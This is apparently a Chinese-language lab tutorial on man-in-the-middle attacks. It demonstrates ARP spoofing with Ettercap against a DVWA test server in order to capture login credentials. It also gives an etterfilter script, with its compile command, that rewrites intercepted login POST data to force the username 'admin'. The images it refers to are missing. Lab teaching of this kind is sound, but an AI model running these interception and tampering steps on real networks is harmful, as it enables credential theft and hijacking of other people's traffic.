一、簡介
中間人( MITM) 攻擊是一種攻擊類型, 其中攻擊者將它自己放到兩方之間, 通常是客戶端和服務端通信線路的中間。 這可以通過破壞原始頻道之后攔截一方的消息並將它們轉發( 有時會有改變) 給另一方來實現。
舉例:
Alice 連接到了 Web 服務器上, Bob打算了解 Alice 正在發送什么信息。 於是 Bob 建立 MITM攻擊, 通過告訴服務器他是 Alice, 並且告訴 Alice 他是服務器。 現在, 所有 Alice 的請求都會發給 Bob, Bob 會將它們轉發給服務器, 並對服務器的響應做相同操作。 這樣, Bob 就能夠攔截、 讀取或修改所有 Alice 和服務器之間的流量。
二、實例:ARP欺騙與MITM
1、實驗環境:
|
主機名
|
IP地址
|
|
Kali(Bob)
|
10.10.10.128
|
|
OWASP(Web server)
|
10.10.10.134
|
|
win-xp(Alice)
|
10.10.10.131
|
2、利用 Ettercap 進行ARP欺騙,截獲賬號,密碼
(1)kali 終端打開 Ettercap 命令
ettercap –G
(2)其他操作如下圖所示


(3)ARP 欺騙前XP和OWASP情況

(4)進行 ARP 欺騙:

(5)欺騙結果:

(6)XP 瀏覽 http://10.10.10.134/dvwa/ 並登錄
(7)用戶名,密碼被截獲
(8)也可用wireshark抓包獲取跟詳細的信息,如下圖:
3、修改服務端和客戶端之間的數據(接上述實驗)
(1)創建過濾器文件(regex-replace-filter.filter)
if (ip.dst == '10.10.10.134'&& tcp.dst == 80)
{
if (search(DATA.data, "POST"))
{ msg("POST request");
if (search(DATA.data, "login.php") )
{
msg("Call to login page");
pcre_regex(DATA.data, "Content-Length\:\ [0-9]*","Content-Length: 41") ;
msg("Content Length modified");
if (pcre_regex(DATA.data, "username=[a-zAZ]*&","username=admin&"))
{ msg("DATA modified\n"); }
msg("Filter Ran.\n");
}
}
}
(2)編譯 regex-replace-filter.filter 生成 regex-replace-filter.ef(Kali終端)
etterfilter -o regex-replace-filter.ef regex-replace-filter.filter
(3)結果如圖所示:
(4)Ettercap 加載並使用(菜單選擇:Filters | Load a filter
(5)XP 瀏覽 http://10.10.10.134/dvwa/ 並使用“密碼” admin 登陸“任意用戶”,如test:admin

